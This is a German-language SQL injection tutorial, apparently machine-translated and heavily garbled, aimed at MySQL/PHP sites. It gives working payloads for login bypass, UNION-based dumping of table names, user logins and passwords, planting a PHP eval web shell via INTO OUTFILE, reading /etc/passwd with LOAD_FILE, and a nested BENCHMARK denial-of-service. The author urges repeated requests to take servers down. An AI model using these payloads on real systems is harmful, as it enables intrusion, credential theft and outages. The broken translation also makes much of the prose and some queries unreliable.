SQL Injection [vollständige FAQ]
0.INTRO
Laziv im Internet auf der Suche nach zumindest einige Informationen über SQL - Injection Sie müssen oft über Artikel gekommen sind oder sehr kurz oder nicht klar ist , entweder für ein einzelnes Thema oder irgendetwas anderes , das Sie sicherlich nicht gerecht wird . Wenn dann kratzte ich zusammen irgendwo auf dem Thema Artikel 10-20, die Feinheiten der vielen Schwachstellen zu erfassen. Und die Erinnerung an die Zeit, die ich beschlossen, eine komplette FAQ zu diesem Thema zu schreiben, also zu sagen, dass der Rest nicht besessen sind. Und noch eine Bitte. Diejenigen, die finden, dass ich etwas verpasst haben, irgendwo einen Fehler gemacht, und so wenden Sie sich bitte hier wieder abmelden, es ist schwierig, alle gleich, alle im Auge zu behalten

Ich habe nicht von dem ersten Tag des Einbruchs Sie wahrscheinlich wissen , was eine SQL - Injection wenn nicht , dann ich ist der Artikel für Sie mitreißen. SQL Injektion ist die Injektion von einer weiteren Art von Angriff , bei dem der Angreifer die ursprüngliche Anforderung an die Datenbank modifiziert , so dass die Informationen , die er von der Datenbank benötigt abgeleitet wurde , wenn die Abfrage ausgeführt wird .
Für die Aufnahme dieses Artikels ist erforderlich:
a) Die Anwesenheit von Gehirn
b) Direkte Hände
in) SQL Sprachkenntnisse
Im Grunde war dieser Artikel für MYSQL + PHP geschrieben, aber es gibt ein paar Beispiele mit MSSQL.
Generell denke ich, dass der beste Weg , die korrekte Verwendung von SQL - Injection zu lernen , ist dieser Artikel nicht lesen, sondern eine lebendige Praxis, zum Beispiel eine anfällige Skript zu schreiben, oder meine am Ende gegeben verwenden.
Im Übrigen rate ich Ihnen , alles zu lesen , weil an jedem Punkt gibt es etwas Wichtiges für das nächste Element ist, usw.
1. Wie SQL-Injection FINDEN
Es ist ziemlich einfach. Es ist notwendig, in allen Bereichen, Variablen, Cookies, doppelte und einfache Anführungszeichen einzufügen.1,1 Sekunden zuerst
Lassen Sie uns mit diesem Skript starten hier
1. Nehmen wir an, dass die ursprüngliche Anfrage an die Datenbank wie folgt aussieht:
SELECT * FROM news WHERE id=' 1 ';
Jetzt anhängen wir Zitat in eine Variable "id", auf diese Weise - wenn die Variable nicht gefiltert wird, und enthalten Fehlermeldungen, die in etwa so kommen: mysql_query (): Sie haben einen Fehler in der SQL - Syntax; Sie in der Bedienungsanleitung zu Ihrem MySQL entspricht Server - Version für den richtigen Syntax in der Nähe zu verwenden ' 1' '
Da die Anfrage an die Datenbank wird anwesend zusätzliche Angebot sein:
SELECT * FROM news WHERE id=' 1' ';
Wenn die Fehlerberichterstattung wird in diesem Fall deaktiviert ist, können Sie das Vorhandensein von Schwachstellen wie die bestimmen (auch nicht aufhören es, das wäre nicht mit Ziffer 1.4 verwechselt werden, wie es im selben Absatz beschrieben ist.): Das ist eine Anforderung an die Datenbank wird wie folgt aus: SELECT * FROM news WHERE id=' 1'; -- ';
(Für diejenigen, die in den Tank sind "-" ein Zeichen für den Beginn des Kommentars nach allem wird sie verworfen, würde Ich mag Ihre Aufmerksamkeit auf die Tatsache lenken, dass, nachdem es immer ein Raum sein sollte (es in der Dokumentation für die MYSQL geschrieben wird) und die Art und Weise vor ihm auch). So für MYSQL Abfrage bleibt gleich und scheinen die gleichen wie bei http :? //xxx/news.php Id = 1
Tom, was für dieses Problem zu tun ist, um den gesamten Absatz 2 gewidmet.
1.2 Der zweite Fall
In SQL LIKE - Operator gibt. Es wird verwendet, Zeichenfolgen zu vergleichen. Hier nehmen wir das Skript Genehmigung, wenn der Benutzername und das Passwort-Datenbank Abfragen wie folgt eingeben:
SELECT * FROM users WHERE LIKE 'Admin' anmelden und übergeben LIKE '123';
Auch wenn das Skript filtert das Zitat, das er immer noch anfällig für Injektion bleibt. Wir brauchen statt eines Passworts einfach "%" eingeben (für den Operator LIKE "%" Zeichen steht eine beliebige Zeichenfolge) und dann die Anfrage
SELECT * FROM users WHERE LIKE 'Admin' Login und LIKE '%' übergeben;
und wir waren in den Login "Admin" erlaubt. In diesem Fall fanden wir nicht nur eine Injektion SQL , sondern auch verwendet , es erfolgreich.
1.3 Der dritte Fall
Was ist, wenn das gleiche Login-Skript Überprüfung ist nicht für Zitate. IMHO ist zumindest albern diesen Ausgang mit einer Injektion von Informationen, eine Art zu verwenden. Lassen Sie die Datenbank abfragen vom Typ zu sein:
SELECT * FROM users WHERE login = 'Admin' AND = '123' übergeben;
Leider ist Ihr Passwort '123' nicht geeignet

SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' 123 ';
Nun, was ist, wenn eine Sicherheitslücke in 'pass' Box zu tun. Wir passen auf diesem Gebiet folgende 123 'OR Login =' Admin '; -. Der Antrag wird sein:
SELECT * FROM users WHERE login = ' Admin' und übergeben = ' 123' oder Login = 'Admin';
- ';
Wie für die Datenbank wird indeintichno solcher Antrag vollständig sein:
SELECT * FROM users WHERE (login = "admin" und pass = '123') OR (login = 'Admin');
Nach diesen Schritten werden wir die volle Besitzer von Akka mit Login "Admin" werden.
1.4 Der vierte Fall
Lassen Sie uns an das Skript von Nachrichten zurück. Aus der SQL - Sprache müssen wir uns daran erinnern , dass die numerischen Parameter , die nicht in Anführungszeichen gesetzt werden , die an dieser Adresse , um das Skript http :? //xxx/news.php Id = 1 Abfrage an die Datenbank wie folgt aussieht:
SELECT * FROM Nachrichten WHERE id = 1;
Für diese kann eine Injektion auch in der Substitutions Parameter "id" angegeben werden und dann die gleiche Fehlermeldung herausspringen:
mysql_query (): Sie haben einen Fehler in der SQL - Syntax; Sie in der Bedienungsanleitung zu Ihrem MySQL entspricht Server - Version für den richtigen Syntax in der Nähe zu verwenden ' 1' '
Wenn diese Meldung nicht vyprigivaet nicht können wir verstehen , dass das Zitat gefiltert und dann müssen http eingeben: //xxx/news.php id = 1 bla-bla-bla?
DB versteht nicht, es für blah sho bla bla, und zeigt eine Meldung über die Art des Fehlers:
mysql_query (): Sie haben einen Fehler in der SQL - Syntax; Sie in der Bedienungsanleitung zu Ihrem MySQL entspricht Server - Version für den richtigen Syntax in der Nähe zu verwenden ' 1 bla-bla-bla'
Wenn Fehlermeldungen ausgeschaltet wird dann wie diese unter http: //xxx/news.php id = 1 ;? -
Sie sollten nur als http :? //xxx/news.php Id bekommen = 1
Jetzt können Sie mit Schritt 2 fortfahren.
2. Was und wie kann aus diesen nützlichen gezogen werden
Als nächstes werden nur die Art von Schwachstellen in Absatz berücksichtigt werden können 1.1 und der Rest verändern unter sich ist nicht schwer

2.1 Befehl UNION
Zunächst mit der nützlichsten ist das Team UNION (die nicht zu gehen in Google weiß) ...
Ändern Sie den Verweis auf das Skript http: //xxx/news.php id = 1 'UNION SELECT 1 - ?. Die Abfrage der Datenbank, die wir wie folgt erhalten:
SELECT * FROM Nachrichten WHERE id = '1' UNION SELECT 1 - ';
2.1.1.1 Die Auswahl der Anzahl von Feldern (Methode 1)
Vergessen Sie nicht über die Tatsache, dass die Anzahl der Spalten in die Union und nach erfüllen müssen sicherlich kommen Fehler wie folgt aus (es sei denn, die Tabelle nicht eine News-Spalte ist):
mysql_query (): Die verwendeten SELECT - Anweisungen haben eine unterschiedliche Anzahl von Spalten
In diesem Fall müssen wir kolichistvo Spalten (unabhängig von ihrer Anzahl zu UNION und nach sootvetsvovalo) zu holen. Wir tun es auf diese Weise:
http: //xxx/news.php id = 1 'UNION SELECT 1, 2 -
Fehler. «Die verwendeten SELECT - Anweisungen haben eine unterschiedliche Anzahl von Spalten»
http: //xxx/news.php id = 1 'UNION SELECT 1,2,3 -?
Auch der Fehler auf.
...
http: //xxx/news.php id = 1 'UNION SELECT 1,2,3,4,5,6 -?
Oh! Zeigen Sie die korrekte sowie http :? //xxx/news.php Id = 1
bedeutet, dass die Anzahl der Felder gewählt, dh ihre 6 Stück ...
2.1.1.2 Die Auswahl der Anzahl der Felder (Methode 2)
Und dieses Verfahren beruht auf der Auswahl der Anzahl der Felder GROUP BY verwenden. Das heißt, diese Art der Anfrage:
http: //xxx/news.php id = 1 'GROUP BY 2 -?
Es wird ohne Fehler angezeigt , wenn die Anzahl der Felder kleiner oder gleich 2 ist .
Wir tun diese Art der Anfrage:
http: //xxx/news.php id = 1 'GROUP BY 10 -?
Oops ... Es gab einen Fehler Typ.
mysql_query (): Unbekannte Spalte '10' in 'Gruppe Aussage'
So ist die Spalte ist kleiner als 10 Teilen 10 von 2. Und Antrag tun
http: //xxx/news.php id = 1 'GROUP BY 5 -?
Fehler Opa nicht bedeutet , dass die Anzahl der Spalten größer als oder gleich 5 , aber weniger als 10. Nehmen Sie nun den Mittelwert zwischen 5 und 10, es stellt sich heraus , wie ein 7. Erstellen einer Anfrage:
http: //xxx/news.php id = 1 'GROUP BY 7 -?
Oh Fehler wieder ...

mysql_query (): Unbekannte Spalte '7' in 'Gruppe Aussage'
So ist die Zahl größer als oder gleich 5 , aber weniger als 7. Nun, dann Antrag tun
http: //xxx/news.php id = 1 'GROUP BY 6 -?
Kein Fehler ... So ist die Zahl größer als oder gleich 6 ist, aber weniger als 7. Daraus folgt , dass die erforderliche Anzahl von Spalten 6.
2.1.1.3 Die Auswahl der Anzahl der Felder (Methode 3)
Das gleiche Prinzip wie in Ziffer 2.1.1.2 nur Funktion ORDER BY verwendet. Und etwas andere Fehlertext, wenn die Felder nicht mehr.
mysql_query (): Unbekannte Spalte '10' in 'bestellen Klausel "
2.1.2 Definition Ausgabespalten
Ich denke , dass viele von uns ist genau die Seite wie http :? //xxx/news.php Id = 1 nicht erfüllt ist. Also müssen wir machen , so dass die erste Suche nicht angezeigt werden (bis UNION). Am einfachsten ist es, die "id" mit einer "1" zu ändern, um "-1" (oder eine '9999999')
http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3,4,5,6 - Jetzt haben wir etwas , wo die Seite sollte in jeder dieser Figuren dargestellt werden. (Zum Beispiel, weil es bedingte Skript Nachrichten in der "Name der Nachricht" wird 3 sagen wir zeigen, "News", etc. Nun, -4). Nun kommen wir zu dem, was jemals Informationen benötigen wir diese Zahlen in obrschenii, um das Skript auf die benötigte Funktion zu ersetzen. Wenn die Zahlen nicht überall die übrigen Absätze des Absatzes angezeigt werden 2.1 kann übersprungen werden.
2.1.3 SIXSS (SQL - Injection - Cros - Site - Scripting )
Das exakt gleiche XSS nur durch eine Anfrage an die Datenbank. Beispiel:
http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3,' <script> alert ( 'SIXSS') </ script> ', 5,6 - Nun, ich denke nicht schwer zu verstehen , dass 4 Seite wird durch das <script> alert ( 'SIXSS "ersetzt ) </ script> und entsprechend genau die gleiche XSS erhalten.
2.1.4 Die Namen der Spalten / Tabellen
Wenn Sie den Namen und jede Spalte der Tabellen in der Datenbank kennen, können Sie diesen Artikel überspringen
Wenn Sie nicht wissen ... Es gibt zwei Möglichkeiten.
2.1.4.1 Die Namen der Spalten / Tabellen , wenn es Zugang zum INFORMATION_SCHEMA ist und wenn die Version von MYSQL> = 5
INFORMATION_SCHEMA.TABLES Tabelle enthält Informationen über alle Tabellen in der Datenbank, die Spalte TABLE_NAME-Tabellennamen.
http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Dies ist , wo Sie ein Problem sehen könnte. Da nur die erste Zeile der Datenbank Antwort angezeigt werden. Dann müssen wir LIMIT wie folgt zu verwenden:
Der Ausgang der ersten Zeile:
http: //xxx/news.php id = -1 'UNION SELECT 1,2,3, TABLE_NAME, 5,6 VON INFORMATION_SCHEMA.TABLES LIMIT 1,1 -?
Der Ausgang der zweiten Zeile:
? Http: //xxx/news.php id = -1 ' UNION SELECT 1,2,3, TABLE_NAME, 5,6 VON INFORMATION_SCHEMA.TABLES LIMIT 2,1 - usw.
Nun, wir fanden einen Tisch Benutzer. Nur diese ... ähem ... eine Spalte nicht wissen ... Dann kommen wir auf die Hilfe der Tabelle INFORMATION_SCHEMA.COLUMNS COLUMN_NAME Spalte enthält den Namen einer Spalte in der Tabelle TABLE_NAME. Das ist, wie wir die Spaltennamen extrahieren
http: //xxx/news.php id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 1,1 -?
http: //xxx/news.php id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer 'LIMIT 2,1 -?
usw.
Und hier haben wir das Feld Login, Passwort finden.
2.1.4.2 Die Namen der Spalten / Tabellen , wenn kein Zugriff auf die INFORMATION_SCHEMA ist
Diese Option zhopny

http: //xxx/news.php id = -1 'UNION SELECT 1,2,3,4,5,6 FROM tbl_name -?
Es ist notwendig , table_name aus , bis kein Fehler verschwinden wie:
mysql_query (): Table 'table_name' existiert nicht
Nun, wir haben das Glück Benutzer fehlende Fehlermeldung eingeführt, und die Seite wird angezeigt , als ob http :? //xxx/news.php Id = -1 ' UNION SELECT 1,2,3,4,5,6 - was es bedeutet , ? Dies bedeutet , dass die Tabelle suschestvet Benutzer und sollte auf die Sortierspalten verlaufen.
http: //xxx/news.php id = -1 'UNION SELECT 1,2,3, column_name, 5,6 von Benutzern -?
Es ist notwendig , column_name aus , bis kein Fehler verschwinden wie:
mysql_query (): Unbekannte Spalte 'column_name' 'in' field list '
Wo verschwindet Fehlermeldung bedeutet, dass es eine solche Spalte.
Und so haben wir gelernt , dass die Tabellenspalten Benutzer hat anmelden, Passwort.
2.1.5 Informationen anzeigen
Appell an das Skript so http :? //xxx/news.php Id = -1 ' UNION SELECT 1,2, Login, Passwort, 5,6 von Benutzern 1,1 LIMIT - zeigt uns die Login und Passwort des ersten Benutzers aus der Tabelle Benutzer.
2.2 Arbeiten mit Dateien
2.2.1 Schreiben in eine Datei
Es ist in so eine interessante MYSQL Funktion vom Typ SELECT ... INTO OUTFILE können Sie Informationen in einer Datei aufzuzeichnen. Entweder ist dieser Entwurf SELECT ... INTO DUMPFILE sie fast ähnlich sind , und Sie können jede verwenden.
Beispiel: http: //xxx/news.php id = -1 ' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt '; -
einige Einschränkungen für ihre Arbeit.
- Verbot der Überschreiben von Dateien
- Gewünscht Typ FILE Privilegien
- (!) Durchaus vorhanden kyvychki in Angabe des Dateinamens
Aber was würde verhindern, dass uns die Bahn gehen zu machen? Hier ist ein Beispiel wie folgt aus:
http: //xxx/news.php id = -1 'UNION SELECT 1,2,3,' ', 5,6 INTO OUTFILE'? 1.php < ? php eval ($ _ GET [ 'e']) ??> '; -
Es bleibt nur noch den vollständigen Pfad zu der Wurzel einer Site auf dem Server zu finden, und fügen Sie 1.php. Vriprintsipe kann einen weiteren Fehler auf Grund des Berichts finden, die den Weg zu dem Server angezeigt wird oder das Root-Server und seine lokalen inkluda verlassen abholen, aber das ist ein anderes Thema.
2.2.2 Lesen von Dateien
Betrachten Sie LOAD_FILE Funktion
Beispiel: http: //xxx/news.php id = -1 ' UNION SELECT 1,2, LOAD_FILE (' etc / passwd '), 4,5,6 ;?
Für sie gibt es auch ein paar Einschränkungen.
- Es muss einen vollständigen Pfad zu der Datei sein.
- Gewünscht Typ FILE Privilegien
- Die Datei muss sich auf demselben Server befinden
- Die Größe dieser Datei sollte weniger als angegeben max_allowed_packet
- Die Datei muss unter dem durch den Benutzer zum Lesen geöffnet werden wird MYSQL
Wenn die Funktion die Datei nicht lesen kann, wird NULL zurückgegeben.
2.3 DOS - Angriff auf dem SQL - Server
In den meisten Fällen dosyat SQL Server aufgrund der Tatsache, daß nichts anderes nicht tun kann. Typ konnte nicht gefunden Tabellen / Spalten, keine Rechte, um es, keine Rechte an ihm, usw. Ich ehrlich gegen diese Methode, aber immer noch ...
Auf den Punkt ...
BENCHMARK - Funktion führt die gleiche Aktion mehrmals.
SELECT BENCHMARK (100000, md5 (CURRENT_TIME));
Das heißt, diese Funktion 100.000 mal tut md5 (CURRENT_TIME) , dass mein Computer dauert etwa 0,7 Sekunden ... Es scheint , dass es so ist ... Und wenn Sie BENCHMARK angebracht versuchen?
SELECT BENCHMARK (100000, BENCHMARK (100000, md5 (CURRENT_TIME)));
Es dauert eine lange Zeit, um ehrlich zu sein ich nicht einmal warten, ... hatte einen Reset zu tun

Beispiel Dosa in unserem Fall:
http: //xxx/news.php id = -1 'UNION SELECT 1, 2, BENCHMARK (100.000, BENCHMARK (100.000, md5 (CURRENT_TIME))), 4, 5, 6 ;? -
100 Poke F5 ist genug, um einfach "fallen in ungebremst Server down"))).
Kommentare
im Auge kommentierte halten , dass der Inhalt und der Ton Ihrer Nachrichten , die Gefühle von echten Menschen verletzen können, Respekt und Toleranz gegenüber seinen Gesprächspartnern, auch wenn Sie Ihr Verhalten in Bezug auf die Meinungsfreiheit und die Anonymität des Internets, ändert ihre Meinung nicht teilen, nicht nur virtuell, sondern realen Welt. Alle Kommentare werden aus dem Index, Spam - Kontrolle versteckt.